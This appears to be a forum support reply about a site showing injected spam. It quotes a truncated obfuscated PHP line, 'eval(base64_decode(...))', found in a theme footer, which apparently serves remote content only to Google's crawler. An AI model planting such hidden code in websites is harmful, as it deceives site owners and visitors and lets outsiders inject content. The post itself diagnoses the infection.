Looking at the source pasted, and viewed in a Clean VM using Chrome I do not see any added DIV spam or other code. I did, however, find some code a inside your theme Footer files that do explain this behavior.
Code: <? eval(base64_decode("CmlmIChwcmVnX21hdGNoICgiL1tHZ1 1bT29dW09vXVtHZ11bTGxdW0VlXS8iLCRfU0VSVkVSWyJIVFRQ X1VTRVJfQUdFTlQiXSkpIHsKCWVjaG8gZmlsZV9nZXRfY29udG VudH ....
NOTE: The support guys removed the base64 code for me, so that's why I didn't see it. I still don't know why this happened.